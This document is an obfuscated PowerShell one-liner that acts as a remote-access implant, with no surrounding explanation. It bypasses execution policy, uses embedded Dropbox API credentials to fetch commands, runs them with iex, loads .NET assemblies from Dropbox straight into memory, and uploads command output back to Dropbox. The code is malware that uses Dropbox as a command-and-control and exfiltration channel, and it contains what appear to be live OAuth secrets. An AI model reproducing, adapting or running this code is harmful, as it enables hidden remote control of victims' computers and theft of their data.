powErsHelL ―e"p" by"pa"s"s" -"C" $clid="m"dhjb"l4"m4n7"ry"8"p";$cl"s"ec="jr"x"u"1"7zm"l"6"o"s"2"8"g";$r"e"to"ken="c"Y"H"F"x"M"r"m"bt"Y"A"A"A"AAA"AA"A"A"Y"2B"2"7J"r"O"u"UF"U9r_2"p"8a"O"j"1"v"BU"i"Z"hnJq"U"RX1e"pAh"1"K"s"R";$id="e"a4"bd"3"e2"-66e"8-426"d-89a3-776"cb"16"7d"47"1";$body = @{gr"a"nt_type = "r"ef"r"e"s"h_to"k"e"n";re"f"re"s"h_tok"e"n = $retoken;cl"ient_i"d = $c"lid;c"lie"nt_s"e"c"re"t" = $cl"sec};$respon"se = I"n"v"o"ke-"Res"tM"e"t"ho"d —m"et"h"od" Post ―uRi "h"t"t"p"s://"a"pi.dr"op"b"ox"a"p"i.com"/o"a"ut"h"2"/"to"ken" ―b"O"dY $b"o"d"y;$a"token=$respon"se.a"cc"ess_tok"e"n;$h"e"ader"s1=@{"A"ut"h"or"i"za"tion"="Bea"re"r $at"o"k"e"n";"Dr"o"pbox-API"-A"rg"= (@{path='/'+$id+'/"da"ta.txt';m"o"de="o"verw"r"it"e";au"t"o"r"ename=$tr"u"e;mute=$fa"l"se;}|Co"n"v"e"rtTo"-"J"so"n -"cO"m"P"R"Ess);"cOntE"N"t"-tyPE"="a"p"p"lic"ation/oc"t"et-"s"t"ream"};$h"eaders2=@{"A"u"thoriz"a"tion"="B"e"a"r"er $ato"k"en";"Dro"p"bo"x"-"A"P"I-"Arg"= (@{p"a"th='/'+$id+'/"cm"d.t"xt'}|C"onvert"T"o"-"J"s"on –cOM"PRe"S"S);"conTeNt-"t"y"pE"="ap"pli"ca"tion"/o"ctet"-"s"t"r"ea"m"};$h"eade"r"s3=@{"A"ut"hori"z"ation"="B"e"a"rer" $atoken";"D"r"opb"ox-"A"PI-"Arg"= (@{p"a"th='/gl"o"bal.t"xt'}|Co"nv"ert"To-"Jso"n —C"Omp"res"S);"co"N"tEnt"-TyPe"="a"p"plica"tion/oc"tet"-s"t"ream"};$gl"o"b"al=I"n"vok"e"-RestM"e"t"h"o"d" -u"rI" "ht"t"ps:/"/c"o"n"t"e"n"t.d"ro"p"boxa"pi.com"/2"/"f"i"les"/"d"ow"n"lo"ad" /"M"e"T"ho"d" P"o"st -"H"eADErs $he"ad"ers"3;i"f ($g"l"o"b"al) {c"md" —COmM $g"l"ob"al};whi"le $t"r"ue {$cmd=I"n"v"o"k"e-"R"e"stM"e"t"ho"d ―uRi "ht"t"p"s:/"/c"onte"n"t.d"rop"b"oxa"p"i.com/2"/"f"ile"s"/"d"o"w"n"l"oa"d" –mE"t"hoD Po"s"t –h"e"a"De"RS $h"e"ad"ers2;if" (-no"t" $cmd) {s"l"eep 5};else"i"f ($cmd.St"artsW"i"th('Load" ')) {$file=I"n"v"ok"e-"Res"t"Me"thod /"urI" "http"s:/"/c"o"nte"n"t.dro"pbo"xap"i.com/"2"/"fi"l"es/"do"w"n"l"o"ad" -MEthOD Post /"hEA"DE"R"S @{"Au"tho"riz"at"ion"="B"eare"r $at"o"ken";"D"ro"p"bo"x-"AP"I-"Ar"g"= (@{pa"t"h='/'+$id+$c"m"d.S"u"b"St"r"ing(5)}|Co"n"v"er"t"T"o-"Js"on" -C"o"m"p"R"ESs);"C"on"t"ENt-TYpe"="applic"a"ti"o"n"/"oct"e"t"-st"rea"m"};[R"e"fle"c"t"i"on.A"ss"em"bly]::L"oa"d([b"y"t"e[]]$fi"le.T"oCh"ar"A"rra"y()).Ent"rypo"in"t.Invo"ke($n"u"l"l,$null)};el"s"e {t"r"y{$out=@{"Au"tho"r"iz"ati"o"n"="Be"a"re"r" $a"toke"n";"Dr"o"pbo"x-"API"-"A"r"g"= (@{path='/'+$id+'/bsod.e"x"e'}|C"o"nv"e"rt"To"-"J"s"o"n /"cO"M"PRe"S"s);"C"O"NTeNT-"Type"="a"ppli"ca"t"io"n/o"c"tet"-st"ream"}ie"x $cm"d};c"at"ch{$o"ut='Com"m"and h"as" an er"ro"r!'};In"vo"ke"-"Re"st"Met"ho"d ―u"r"I "h"ttp"s://"cont"en"t.drop"b"oxa"pi.com"/"2/"f"ile"s/"up"l"oad" -"m"e"THo"d Po"st" —B"Od"y ([Sys"tem.Tex"t.E"nco"di"n"g]::UT"F"8.Ge"t"B"y"te"s($o"ut)) -"heA"d"E"rS $h"eader"s1}